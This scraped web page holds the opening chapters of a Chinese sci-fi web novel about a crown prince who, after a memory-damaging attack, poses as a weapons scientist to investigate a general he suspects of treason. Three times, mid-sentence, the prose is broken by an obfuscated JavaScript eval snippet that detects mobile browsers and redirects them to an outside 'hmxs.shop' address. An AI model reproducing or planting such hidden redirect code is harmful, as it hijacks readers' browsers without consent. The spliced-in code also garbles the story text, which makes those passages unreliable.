《皇太子的失忆修罗场》 1. 宿敌的真面目 “系统遭到敌方攻击,请宿主立刻脱离精神领域!——” “防护屏障一级入侵,虚拟身份模块受损!记忆区域破坏程度8%,12%,15%……自我修复无效,请宿主立刻脱离本系统!” “重复一遍!重复一遍……” 灯光和警笛声在黑暗的房间里回荡,紧急警报的红光与系统的机械声交织在一起。整个房间充满窒息的混乱感,仿佛世界末日到来。 没有任何人对警报做出回应。 整个房间里空荡荡的,只有在正中央的王座上端坐着一名青年。 青年安静地倚靠着王座,双眸微闭,单手支着下颌,似乎是正在假寐的姿态。 他对灯光和警报声置若罔闻,修长白皙的右手上,一枚镶嵌翡翠青金石的皇戒璀璨夺目,昭示他特殊的身份。 幽暗的灯光在青年脸上映照出晃动不定的阴影,在光暗交替中,他的面容一直在快速变化,无数容貌从脸上一闪而过又消失。 青年的身体里仿佛栖息着无数灵魂,正在轮流争夺身体的主导权。 这是虚拟身份系统受损的高危反应。 此时,晏风正处于脱离系统控制的边缘。 意念一旦稍有差池,他就会被自己的马甲吞噬。在他垂眸假寐的平静表象之下,精神领域正在精细地控制受损模块,将错误数据纠正并恢复到安全状态。 强烈的精神攻击不断冲击着晏风的意识,他脸上的神情变化越来越快。 尖锐的警报声充斥着他的耳膜:“警报!警报!” “系统屏障到达失控临界点!” “请殿下立刻脱离——!” —— 突然,一切戛然而止。 所有的灯光和警报声在一瞬间全部停止,整个房间陷入黑暗,空气里鸦雀无声。 寂静在黑暗中凝滞。 这一刻,仿佛璀璨的宇宙失去所有星辰,万千世界在此地化为永恒的虚无。 空旷的房间里,只能听见晏风轻缓的呼吸声。 良久,灯光重新亮起,红色警灯转变成了温馨的暖色调,紧急警报解除。 系统恢复到了正常提示状态:“受损数据模块控制成功,已顺利脱离精神领域。” “敌方入侵反应消失,——殿下,您没事吧?” 本应没有感情的机械声,在这个特殊时刻带上了一丝拘谨的关切。因为系统正在服务的宿主是帝国至高无上,同时也是唯一的皇权继承人,是统治这片银河浩海的逐风皇家唯一的血脉。 逐风帝国的皇太子殿下。 “我很好,先来看看行动的成果吧。”晏风平静地说。 宇宙世界历经千亿星尘岁月的漫长演化,无数文明遭受湮灭又再次诞生,经过激烈的冲突与融合,最终演变成为数个宇宙空间级战力的相互对立局面。 逐风帝国位于暴风系第三宇宙空间,是统率风系高次元领域的宇宙霸主。 晏风十二岁那年被冠封成为皇太子,在他生日宴会当晚,他在皇家花园里听见了那个昭示他使命的声音:—— “年轻的殿下,很荣幸为您服务,我是您的虚拟身份系统。” “我的任务是为您提供多重身份,方便您扮演角色自由行动;在不需要任何外界协助的情况下,亲自守护您珍爱的帝国,捍卫逐风皇家的尊贵威严。” 历史进展到星际时代,逐风帝国在风系宇宙的领土扩展到天文数字级别,帝王麾下的官员规模也达到难以估计的数量。 皇室在数千年前的科技时代就预料到,星际时代的掌权者将会面对复杂的统治局面,虚拟身份系统是为此拟定的科技对策。 该系统由逐风皇家的血脉自动继承,根据遗传基因的优异程度,在适当时间被特定继承对象唤醒,并与宿主终身绑定。 拥有系统的宿主能够自行拟定无数量上限的虚拟身份,自己扮演不同角色,秘密调查隐藏在帝国台面之下的秘密。 掌权者无需招揽贴身心腹,也不必再担忧身边的下属是否忠诚,所有的帮手都是自己。 晏风自己,就是他最信任的同伴。 一道淡金色光屏在晏风面前徐徐展开,系统依照他的命令,为他展示最新的调查成果。 画面上的场景和人物迅速切换,系统实时整合调查汇总的数据,稍作等待后,最终定格住了四个男人的身影。 他们都是晏风熟悉的人。 系统为他进行说明:“殿下,这些人物就是推断与帝国敌对的派系背后主谋,根据您获得的数据已经核实他们的身份,这是我们精确到的最小目标范围。” 晏风托腮望着这四个男人的照片:“有意思。” 逐风帝国的版图极为辽阔,晏氏皇族天生血脉稀薄,后继乏人,因此对皇家图谋不轨的宿敌数量众多。 晏风借助系统伪装身份亲自前往帝国各地探访,锁定可疑的目标对象,接近他们并暗中调查。 根据他得到的线索,这些人物要在近期举办一次秘密集会。他按照线索的时间地点,潜入集会的智脑主机获取数据,对方却早有防备。 就在即将接触到信息流的关键节点,系统的数据模块突然遭到不明攻击,晏风的意识空间受到强烈的精神侵袭。 所幸他在千钧一发之际脱身,成功得到了参与者的身份数据,代价是险些变成大脑神经损伤的废人。 敌人的真面目,如今就呈现在他的面前。 这四个男人,都是晏风十分信赖的心腹。 他们是立誓为皇家效忠的高级将领,是自幼陪伴他长大的亲密挚友,是在流传在历史长河中帝国幕后的古神,以及在年少时为他指点迷津的恩师,如今身居高位的帝国国辅。 晏风没想到,有朝一日会与他们为敌,却也并不意外。 他将要制裁的,是与他为敌的主谋者。 这个人就在他们之中。 但,或许是他们全部。 晏风抬起手指,面前虚空出现一本书。 书本散发着淡淡莹光漂浮在半空中,封面上纂刻着宛如咒语的符文图案。晏风随手翻开一页书,亿万的电子数据流随着他的动作从书页里蔓延出来,飞到黑暗中化作流星般的光点。 这是虚拟身份系统的角色书,里面记载了晏风使用过的马甲角色。 他已经利用马甲接近这四个男人并取得他们的信任,现在他需要回到他们身边,继续调查他们对帝国不利的切实证据。 计划在顺利地逐步推进,但有一些小问题。 马甲角色的资料页面上缺少一部分数据。 这些数据记录了晏风与这四个人相处的往事,以及取得他们信任的过程。在刚才系统遭到冲击的时候,他记忆模块里的相关内容被损坏了,这些页面都是空白的。 晏风现在,不记得他和他们之间发生过什么事情。 他问系统:“能修复吗?” 系统:“正在为您尝试,短期内恐怕不行。” 晏风笑了笑:“无妨,这是我冒着风险行动必须付出的代价,——那,数据损坏会有什么影响?” 系统:“如您所见,您忘记了马甲们和目标对象的过往经历。” 系统:“简单地说,您失忆了。” 晏风:“……嗯唔。” 他的马甲们竟然失忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939499|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 算了,问题不大。 晏风和这四个男人相识多年,他清楚他们有多难对付。陌生人轻易不可能取得他们的信任,马甲和这几人相处的往事无非是相互算计或者勾心斗角,不会是什么愉快的回忆。 这种回忆,忘记也罢。 至于如何掩饰自己失忆,别让宿敌们起疑心,晏风今后在披着马甲的时候会和他们保持距离,不让他们注意到马甲的异常。 幸好假身份的资料都在,他只要按照资料扮演角色就不会出错。 很简单嘛。 晏风对系统说:“我已经拟定对策,防止敌人发现马甲失忆。你搜索一下这四个人之中谁与我的距离最近,我现在就去会一会他。” 系统的指示灯闪烁数秒钟,回报道:“目前与您距离最近的是厉星鸾上将,阁下目前正在皇都近郊的机甲能源研究所巡视。” 晏风若有所思:“……是星鸾吗。” 他们两人已经很久没有见面了,没想到会以这种方式重逢。 就决定是他了。 晏风从王座上起身,指尖轻触一下身份系统的资料页面。浅蓝的光芒从角色书里流淌出来,笼罩住他的全身,宿主意识体通过系统模拟生成,开始进行细微的改变。 尊贵的皇太子身影在光芒中逐渐模糊,取而代之的将是另一种陌生的形象。 数秒钟后,系统模拟出一名成年男子的模样。 男子略微收敛起了本尊的气派,他的容貌温柔,神情沉静,身穿研究所的白色工作制服,看起来比晏风本人要年长一些,他身上散发着一种属于学者的文雅气质,让人不禁发自内心生出尊敬和信赖的情绪。 这就是晏风在厉星鸾身边的马甲。 帝国赫斐托斯理工大学机甲能源系高级导师,当今极富盛名的星域武器设计专家,皇都近郊机甲能源研究所的特殊项目负责人。 星域机甲物理学教授,渊先生。 没有姓氏。 在这位渊先生的身份资料上,记载了他以高分成绩通过帝国科学院的考试,提前修满学分毕业以后进入研究所的履历。 他忠诚地侍奉皇家近十年,逐风帝国投入战场的最新型能源机甲几乎都出自他的手,可谓是一位前途无量的科学家。 这是晏风对帝国军事实力的把控,他在无人知晓的情况下,亲自参与了帝国的核心武器机密研究,他要将力量牢牢掌握在自己手中。 在本体的影响下,马甲身份和晏风本人的容貌微妙相似,但谁都无法将眼前的科学家和统御帝国的皇太子殿下联想在一起。 虚拟身份就这样转化完成。 系统告知他:“今晚十点,渊先生的研究小组对厉星鸾上将有一场项目说明会议,这是您接近他的一次机会。目前虚拟身份的躯壳正在研究所的实验室休眠,您可以随时唤醒它。” 晏风点头。 他望着宿敌们的照片,他们全都是帝国赫赫有名的大人物。 在其中,有一名身穿银黑色军装的冷峻男人。 这就是厉星鸾。 千年冰霜仿佛在他的脸上亘古不化,一双凛然而漆黑的眼眸中,是让敌人畏惧颤抖的冷酷寒意。 厉星鸾出生于帝国武将世家,信念忠诚而战功卓越,曾多次击退星域之外意图侵略帝国的强敌。 身为声名显赫的厉家一族成员,厉星鸾的世代前辈都是逐风皇室手中的利剑,而这柄剑如今正在刺向他所侍奉的皇权。 晏风凝视着照片,轻声自语: “我曾经信赖的心腹……你们的真面目,就让我看一看吧。” “诸位,我来了。” 2. 渊先生(1)演出 夜晚。 皇都近郊城市,岚峰城。 逐风帝国的主星系拥有数百城区,其中的岚峰城属于小型规模,它位于逐风山脉的岚峰山脚下,常住人口约有数十万。 居住在城里的半数以上,是帝国机甲能源研究所的工作人员及其家属。 新型液态能源驱动的机甲军团,是逐风帝国装甲部队的重要军事力量,麾下的武器设计和能源开发属于军武司的主要科研项目。 岚峰城的研究所汇聚了国内最高水平的科研人员,夜以继日地为帝国提供最新研究成果。 已经过了下班时间,研究楼里依然灯火通明。身穿白色工作服的科学家们吃过晚饭,纷纷返回工作岗位。 研究所里几乎没有休息时间,虽然帝国主星一片繁荣安宁,探索宇宙空间的远征开拓军团却在边境外的暴风宙域航行,时刻遭遇未知的危险。 宇宙战况需要武器快速迭代,科学家们的研究成果越优秀,就能提高开拓士兵们的任务成功率,协助军团扩张帝国版图。 在这层意义上,这间研究所也是星域战斗的前线之一。 深夜的实验室里弥漫着肾上腺素的味道,一项机密科研项目正在紧张地进行。 研究人员忙着埋头计算数据,时而独自思索,时而为了实验结果的差距而讨论。 但他们没有被工作影响而忘记最重要的事,无论是年轻的研究员还是经验丰富的老科学家,所有人在经过某处的时候都不约而同地压低声音。 位于研究所三楼的星域机甲模拟实验室,灯光亮如白昼。 经过附近的学者们都放轻脚步,唯恐惊动睡在那里的某个人。 走廊里回荡着小声的议论: “……渊先生已经四十多个小时没有合眼了。” “嘘,让他多睡一会儿。” “那……上将阁下的会议?” “阁下会理解的,他一向很体谅渊先生。” 在实验室的角落,有一名身穿白色制服的男子倚靠着金属墙壁,正在低头打瞌睡。 男子朴素的黑发垂落在额前,身材清瘦,肤色略显苍白。他睡得很熟,架在鼻梁上的眼镜歪在一旁,隐约露出镜片后面一双柔软漂亮的长睫。 他在睡梦中的情绪并不安稳,眉心皱起,表情略微不安,像是在梦里思考深奥的学术问题。 数十张写满资料的纸张如雪片般的落在他身上,他在读报告的中途睡着了。 对渊先生而言,像这样持续工作一直累到困倦睡过去,是他在研究所里的日常生活。 从他身旁经过的研究员都小心翼翼地绕开,不忍打搅他珍贵的睡眠。 他们并不知道,此时渊先生的身体只是一具空壳,属于他的意识才刚刚凝聚起来。 …… 晏风从精神世界逐渐清醒。 他缓慢睁开眼,视野里是一片灯光明亮的银白色,身边的人都神色匆匆。房间里的冷气温度很低,让他打了个寒噤。 晏风四下环顾,实验桌上摆着一些尚未涂装的机甲部件,在日光灯里泛出锃亮的银光。 这是他在视察军武司下属机构的时候,曾经见过的最新型武器部件,它们都出自渊先生——也就是晏风自己的设计。 意识传送的坐标正确。 皇太子顺利披上了马甲。 渊先生的马甲躯壳与晏风的身体相比,体质略微虚弱,他的手脚使不上劲,脑部活动却格外激烈。大量实验数据随着晏风的意识苏醒,疯狂涌入脑海中,让他晕眩了一瞬间。 系统提醒他:“殿下,由于记忆区块重启,全部资料重新输入,您需要花一点时间习惯渊先生的思维。” 晏风闭了闭眼睛:“好了,我已经习惯了。” 渊先生所掌握的科学知识无穷无尽,晏风仿佛置身于一片知识的浩瀚星海中,根本望不到尽头。 由于记忆区块受损,他的思维里和厉星鸾有关的部分是一团马赛克,这让晏风对渊先生与厉星鸾的关系一无所知。 晏风若有所思:“也许,在渊先生心里只有工作,根本没有星鸾的存在吧。” 系统:“这是有可能的,渊先生继承了您勤奋专注的那一部分性格,他对其他事情都不感兴趣。” “这是工作狂的我,”晏风笑了笑,“我不讨厌这种感觉,我喜欢这个马甲。” 系统:“这只是刚开始,您的所有马甲都很有用。” “我会慢慢体验的。”晏风随手关掉资料页面,起身。 渊先生醒了。 这位举世天才的星域机甲武器设计专家,肩负国家重任的军部机密项目负责人,从他短暂的小憩中醒来。 渊先生迷蒙地眨了眨眼,微微泛红的眼角漾起一层泪雾,有种让人怜爱的脆弱感。但他的眼神却是温和坚定的,拥有远远超越年纪的成熟心智。 他戴上眼镜,收拾好散落在身上的资料,扶着墙站起来,一边唤他的助手:“檀轩,替我准备资料。” 帝国军校派遣来的实习生从实验桌前抬头,见他起身就立刻奔到他身旁:“渊先生,您醒了!和厉上将的会议还有二十分钟才开始,您可以再休息一会儿。” “无妨,二十分钟可以做很多事。” “您需要先去会议室准备一下吗?听说厉上将……军武司的指挥官对部下很严格。” 厉星鸾的名字在帝国如雷贯耳,不仅因为他在战场上的功勋卓越,更是由于他对日常工作的要求极为严苛。 凡是他所巡视到达的下属机关,工作人员无不如临大敌,提前几天就做好准备迎接这位阁下的光临。 资历尚浅的实习助理,自从跟随渊先生的研究项目之后,在本职和巡视的双重压力下,就没睡过一个安稳觉。 但渊先生好像根本没听到他的话,只是问:“能源反应堆的最后一次粒子产出还有多久?” 檀轩看看时间:“还有一分二十秒,跟您的计算分毫不差。” 渊先生点头:“很好,继续观察。” 而后,他拿起桌上的文件:“稍后再去会议室,先看看大家的情况。” 他的时间很宝贵,不会把它浪费在等待会议开始;相反,往往是军部的人在等他踩着点到来,这是唯独他才能享受的特殊待遇。 檀轩跟随在他身后,心里暗自叹息,为什么渊先生可以这样不在乎厉上将的存在。 就不能,偶尔给那位一点眼神吗。 研究所的同行们已经习惯渊先生的脾气了,他眼中只有机甲设计和能源反应,任何帝国大人物站在面前都视若无睹。 别说是厉星鸾上将,哪怕是帝国尊贵的皇太子殿下亲自视察,这位天才也不会有多大反应。 虽然,渊先生师出无名,在等级森严的皇庭里意味着只能是为国效忠的工具。 檀轩心想,可能是他看透自己就算对权贵趋炎附势也不会有什么结果,不如干脆彻底放弃人脉经营方面的努力…… 研究所的水真深。 “这孩子的心思有点复杂。”晏风在意识空间里对系统说。 系统提示:“他可能跟您的年纪差不多。” “是吗,那是前途无量的年纪啊。……但他好像并不了解他的指挥官性格。” “无需太多主动,星鸾他必然会被我— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939500|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —被渊先生吸引住。” “他会关注一切对他有价值的事物,不分高低贵贱。” 会议还有十五分钟开始。 隔壁是一间宽敞的公共研究室,气氛安静。白色挡板将房间分隔成数十个研究工位,大家都在专注地工作,一时没注意到有人来了。 渊先生来到研究室,轻轻敲了两下门,语气温和道:“各位,半小时没有见面了,有新的问题需要我解决吗?” 众人闻声抬头。 顿时,整个研究室喧闹起来: “渊先生!” “您怎么醒了,不再多睡一会儿?“ “能量反应堆有我们在看着,您不用担心!” 渊先生在研究团队里颇受大家尊重,他虽然身居高位,性格却随和又勤奋,是这些普通研究员们崇拜的榜样。 科学家对功名利禄没有太大的追求,大家心目中的偶像,就是渊先生这样一心为科学献身的高尚学者。 檀轩举起手里的会议资料,提醒大家:“渊先生马上要跟军部的人开会,大家有问题赶紧问。” 研究员们闻言立刻扔下工作,争先恐后地冲上来发问: “渊先生,我有问题!锂酸溶液析出的粒子浓度比理论数据少了0.1个百分点!” “我也有问题!实验室模拟的星域暴风常数和资料库里的有差距!” “机甲能源光束的输出功率降低到光速的二次方了,查不到设备故障的位置!” 檀轩问:“渊先生,要把量子计算器拿来给您使用吗?” “暂时不需要,”渊先生思索了一会儿,回答道,“将锂酸溶液的催化剂温度降低2摄氏度,星域暴风的模拟器调整到β模式,能源光束仰角抬高0.5度,情况应该就恢复正常了。” 只是几个简单问题,根本不需要他借助计算工具。 众人按照渊先生的指示调整参数,一时间研究室里回荡出此起彼伏的惊叹声,所有指示都准确无误,报错的实验数据一下子全部复原了。 不愧是渊先生,他根本不用看实验现场,更不需要亲手重新计算,凭理论分析就能找出问题的症结。 在他浩瀚无垠的知识库里,这些小问题只是沧海一粟。 系统称赞晏风:“殿下将马甲适应得很快。” 晏风:“这是我担任这个身份应尽的义务,也是必要的演出。” 系统:“理解您的义务,但演出的意思是……?” 晏风:“答案显而易见,演给某人看。” 新的问题源源不断地送到渊先生手中,大家都抓紧这短暂的时间向他求助,他被研究员们簇拥着一边解答他们的疑问,一边朝会议室走去。 在通过回廊的时候,他的脚步突然顿了一下。 但立刻,他又像什么都不知道似的,若无其事地继续朝前走。 晏风感觉到身后有一道视线,正在注视着他。 推测视线方向应该来自于回廊上方的某处,这是晏风身为皇太子,常年在阴谋四伏的宫廷里所锻炼出的敏锐直觉。 这道视线仿佛芒刺在背,晏风哪怕闭着眼睛都能感觉到。 但身为渊先生,他只是一个手无缚鸡之力的科学家,他不该对他人隐蔽的注视有任何反应,过度警觉反而会引来不必要的麻烦。 晏风因此装作并无察觉,以他被簇拥在人群里的状态,从高处的距离应该看不清他刚才一瞬间的异样。 那个人,确实在关注他。 正是他所需要的。 由此,他才能有机会窥视到对方不为所知的陌生一面。 这就是演出的意义。 3. 渊先生(2)星鸾 研究所回廊上方,位于楼宇中央的会议房间。 一名身穿银黑色军服的男子站在窗边。 男子身材高挑,站姿挺拔如松,身上带着属于帝国军人的刚健气质。他神情冷峻,漆黑的眼底冷冽如冰,军衔肩章在灯光里熠熠生辉,与他本身的气质极为相称。 厉星鸾。 帝国最年轻的一级上将,厉家当代极为杰出的继承人,曾经在数百场战役里立下赫赫战功的凛冽战神。 他正在付出私人时间,亲自来到研究所视察工作。 在晏风注意到厉星鸾的视线之前,他已经在窗边站了很久。 他沉默地注视着这位天才科学家的一切,那个人的倦意,他的专注,他同往常无数个日日夜夜一样,为自身职责鞠躬尽瘁的付出。 凭厉星鸾的身份地位,他本可以让部下处理巡视这种小事。研究所的职责是为军武司服务,科学家根本不敢偷懒,指挥官的巡视只是走过场而已,从来不会查出问题。 但这位上将每次都认真完成任务,他风雨无阻,不论本职工作多么繁忙都会准时前来,有时候甚至会在研究所里逗留很长时间,直到深夜才离去。 厉星鸾对待工作总是一丝不苟,因此下属们没有觉得奇怪,反而赞赏上司严谨。 一般人都不会注意到,他这么做的特殊用意。 只有在这里,才能见到渊先生。 因为这个人醉心于科学研究,整日闭门不出,厉星鸾只有亲自来到他面前,才能有机会和真人相处。 会议室里,他透过玻璃窗遥望着那个被研究员们簇拥的熟悉背影,渊先生和平时一样,刚一现身就被大家团团围住,并不着急赶来参加会议。 他根本不在乎,上将阁下在会议室等待他很久了。 厉星鸾的眼底掠过一丝微妙的情绪,他想起最近发生的许多事;但这份情绪很快被隐藏起来,他若无其事地返回自己的位置,跟平时一样等待对方姗姗来迟。 寂静的房间里,空调吹出嘶嘶的冷风。 “那个平民天才科学家,还真是有恃无恐。” “未免太不尊重阁下了。” 身旁有人议论。 是陪同他前来巡视的士兵,厉家家族特意指派在帝国境内跟随协助他的护卫队伍,因为他的行动习惯总是很独立,这种指派多少有些关注和监视的意味。 厉星鸾没有搭理他们。 以他的身份地位,在整个帝国除了皇太子晏风,他可以选择不搭理任何人。 护卫和渊先生的助理一样,对厉星鸾本人并不了解,认为他的沉默就是传闻中的严苛寡语,对闲聊琐事漠不关心而已。 等待的时间很难熬,房间里的议论多了起来。 “倒是要看看,他今天能拿出什么成果。” “据说,是专为上将阁下准备的一种特殊能源武器。” “嘁,被小看了吗,什么武器只有阁下能用?我们也是经过训练的战斗士兵。” 厉星鸾听着在座的议论,沉静地开口道:“诸位如果有疑问,测试机会可以先让给你们。” 正在闲聊的士兵们一惊。 “今晚会有一场简单的战斗试验,我允许你们参加。”他继续道。 “如果你们不能将渊先生的成果运用自如,试验结束之后可以提前收工,不需要继续陪同我。” 护卫面面相觑。 上将阁下的命令让他们不理解,他是不是说反了? 任何场合的战斗都应该争取胜利,为什么试验失败的话,反而能提前下班? 此时,渊先生已经走到门外,会议室里的士兵议论他听到了一部分,但没有往心里去。 都是庸人的浅见而已。 “抱歉,我来晚了。” 他推开门,声音如轻风拂过,温和地飘进房间。 “诸位,晚上好。” 厉星鸾起身:“晚上好,渊先生。” 渊先生略微一点头,无需解释自己为什么是卡着点来的,示意大家各自落座。他的助理以及厉星鸾的护卫们,众人分别在自己的固定位置坐下,他们都不是第一次参加会议。 只有晏风是第一次。 他没有经历过这种场合。 以前的开会记忆,他忘记了。 按理说这么微小的细节,忘记也无所谓,但事态发展略微诡异。 留给渊先生的,居然是厉星鸾身边的空位。 所有人似乎都很习惯这件事,大家神色如常,各自行使会议的正常流程,如果渊先生不好好坐下来会显得很奇怪。 晏风本想坐得离这家伙远点,对他而言是第一次的马甲场合工作相处,彼此疏远地说几句话就可以了,没想到大家都自觉把他最不想要的位置留给他。 系统适时出声:“殿下,渊先生和厉上将的关系似乎比想象中要亲密,开会都坐得这么近。” 晏风:“不要八卦,坐得近只是因为谈工作方便。” 系统:“哦,是哦。” 两人落座以后,都没有说话。 助理檀轩打开放映机,房间灯光暗下,墙壁垂落的白色幕布开始播放一些模拟试验的场景。 预先录制的机械声音,在会议室里回荡。 “感谢上将阁下,百忙之中前来巡视。” “按照渊先生的开发计划,今晚向阁下汇报的,是一种新型星域能源武器……” “它的辐射范围以及输出功率……” “以研究所的立场,对于目前的星域战争状况……” 护卫用手持设备记录会议内容,大家都专注聆听着这些一知半解的知识原理说明。 黑暗中,厉星鸾轻声开口:“渊先生,希望您不会在意我的自作主张。” 晏风明白他所指的,是提议护卫参与模拟战斗试验的事情:“您赏识我的设计,我很荣幸,新武器的调整还没有全部完成,今天的会议只是向您汇报一些数据,试验样本自然是越多越好。” 厉星鸾没有说话。 气氛有点微妙,这好像并不是他想听到的回答。 晏风问系统:“我是不是说错了什么话?” 系统:“根据厉上将的肢体语言和面部表情分析,可能您表达相反的意思会比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939501|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较舒缓他的情绪。” 晏风:“明白了,他不想跟别人分享试验机会,他想做渊先生唯一的样本。” 系统:“您没有心,叙述他人心情的语气,比我这个系统更加冷硬。” 晏风:“我有的,我会满足他。” 汇报内容十分深奥且乏味,幻灯片刚一播放结束,护卫官长立刻起身:“渊先生,如您所知,我们是为上将阁下效忠的士兵,曾经在军部的模拟战斗测试获得多次优胜。” “今天我们陪同阁下前来向渊先生学习,希望可以亲手操作您设计的能源武器。” “请务必满足我们的心愿。” 五名护卫一同站起来。 厉星鸾的提议对他们有很大的吸引力,如果试验成功可以佐证这个科学家的水平,失败更是可以提前下班。 虽然不清楚他的真实用意,但上将阁下的性格一向光明磊落,士兵们信任他的话语中必然不会隐藏诡计。 渊先生耐心向他们解释:“星域级别的能源武器破坏力很强,对于操纵者的冲击太大,如果没有调整到合适状态的话,诸位战斗的时候会受伤的。” 护卫:“我们是士兵,不会惧怕伤痛。” 话已至此,自然不必勉强拒绝,渊先生识时务地转变态度:“我明白了,上将阁下的命令就是军武司的命令,这就照办。” 他拿起对讲机:“把S-107号样品的所有备用件,全部传送到会议室。” 不一会儿,房间天花板打开,数只机械臂从里面探出来,手里各自抓着一柄铁灰色的金属剑。 这些剑的外观平平无奇,就像新兵入营时期的近战练习剑,根本想象不出如何在星域空间使用。 渊先生示意护卫们取剑,同时向大家说明:“这是最新的107号样品,参数基础来自上将阁下惯用的蝶翼流体对空型能源机甲,专门为其搭载的战式佩剑手持版。” “它的战力相比106号提高8个单位,超过目前所有同等级别的兵器参数,与操纵者的精神传感度也有所改良。” 厉星鸾问:“距离数据实装还有多久?” “本月之内就能将设计图送交工厂。” “非复杂性领域的投入使用,能不能更快?比如摧毁指定区块的某一批建筑物。” “如果只是攻击中小范围的静态物体,目前已经可以进行实战,您在稍后的战斗中会体验到的。” “是否能投入量产?” “如果护卫先生们都能通过模拟试验,量产就能作为议题讨论,”渊先生说,“至于它的使用范围,除了模拟战和演习,这款兵器可以在近地行星区域空间通用,S-107适合一切帝国版图内的地理环境。” 厉星鸾点头:“辛苦您了,您的所有研究成果,我会向皇太子殿下禀报的。” 晏风:我等着你。 厉星鸾话里的忠诚有几分真心,晏风暂时看不出来。 但他基于军武司的立场,与渊先生的合作思路相当默契,证明他对研究所的巡视绝非一时旁观。 他确实很在乎眼前这个人,以及他取得的成就。 4. 渊先生(3)碎影 话不多说,马上进入正题。 渊先生示意助理檀轩关灯,提醒众人:“即将启动模拟战斗场景,请持有武器的人员站在原地不要走动。” 士兵们各自拿起佩剑,所有人的注意力都集中起来,护卫小组担任S-107操纵者的试验开始了。 房间灯光熄灭,会议室自动转换场景。 黑暗里亮起点点繁星,众人仿佛一瞬间置身于宇宙空间。 眼前的战场还原得很真实,渊先生用数据模拟出的星空深邃无垠,绚烂多彩的小行星在虚空中漂浮,形成视觉迷幻的重力场。 遥远的天际尽头,银河光芒璀璨,星辰如同散落在黑天鹅绒上的珍珠,景象十分迷人。 小行星的区域附近有几个红色光点,这就是模拟战斗的攻击目标。 渊先生示意护卫:“先生们,可以开始了,请击溃这些红点。” 五名士兵早就迫不及待了,近在眼前的目标简直就像小石子一样能随便捏碎,根本不需要什么战术布阵。 他们默契地散开到各自的方向,将行星阵点包围呈扇形,双手持剑一起用力朝目标挥出去—— “喝啊!……?!” 挥剑的瞬间,他们感觉到一种异样。 手里的剑好像在中途脱离了自己的控制,差点飞出去,但受过训练的士兵,没道理会挥不动这么点重量。 下一秒,护卫们面前掀起一阵气浪。 气浪凝聚成一股强劲的能量风团,吹得他们睁不开眼。众人被飓风吹得连连后退,根本控制不住自己的身体,在混乱中纷纷被掀倒在地上。 而后,一声巨响。 能量团直接在原地爆炸了。 护卫小组摔得乱七八糟,会议室里响起一阵阵吃痛的哀叫声。 如同渊先生事先提醒的那样,他们遭到了武器能量扩散的冲击力反噬,这应该是他们的躯体所能承受的极限压力。 强大力量的使用,必然会伴随强劲的冲击,就像枪械的后座力,这就是研究成果需要选择适格者的原因。 假如持剑的人实力不足,不但无法发挥武器本应拥有的力量,反而会伤害到自身。 护卫官长不服气,竭力站起来:“这是意外,我还能再来!” 渊先生微微苦笑:“请看看你的衣襟。” 对方低下头,发现自己的前襟被颜料染红了。 这是受伤的记号。 厉星鸾叹息道:“少霆,刚才你受到冲击力的波及,心脏部位受损。如果是在战场上,你现在已经死了。” 护卫:“!” 渊先生温和地说:“在真实的战斗里,士兵是不能再来的。” 厉星鸾起身:“我来试试。” 渊先生为他重启场景:“厉上将,请。” 厉星鸾话不多,随手拿起护卫少霆掉在会议桌上的金属剑。 他没有像他们那样摆架势,甚至没有离开自己的位置,只是站在原地朝目标的方向挥出一剑。 看似随意的一剑,带起微凉的风。 剑风穿过黑暗,沉入茫茫宇宙。 数秒钟之后。 行星区域的所有红色目标,同时碎裂。 一切都发生在静默中,没有丝毫声音。 星球碎片在真空里飘散开,目标碎裂成无数的星尘粉末,被卷入宇宙风暴消失了踪影。 众人目瞪口呆地看着这一幕。 战斗在刹那间就结束了。 模拟战斗环境是现实场景的微缩版,相当于一个小型宇宙。厉星鸾使用渊先生的武器亲手劈开小行星,这意味着他在现实里能做到同样的事情。 这就是厉星鸾的实力。 他劈开行星,只需要一剑。 几乎是人类所能达到的力量极限,却远不是他的极限。 助理檀轩激动地喊起来:“好剑法!” 惊呆的护卫们则全都僵硬在原地,身为士兵,他们比谁都清楚这一剑有多么恐怖。 会议室一时响起此起彼伏的惊叹,厉星鸾的剑法威名在帝国如雷贯耳,但在座的人都没有亲眼目睹过,没想到今天能在这里看到他出手。 果然名不虚传。 厉星鸾利落地收鞘,轻轻将剑放回原位,没有丝毫多余的动作。 星风七式,第二式。 碎影星。 以血肉之躯挥剑,能在一瞬间摧毁复数静止物体目标,是一招令人恐惧的修罗剑术。 众人的惊叹声里,唯有渊先生保持着平静,他是试验的记录者,在任何情况下都要冷静记录全部数据,不能错过一个细节。 但晏风还是恍惚了一下。 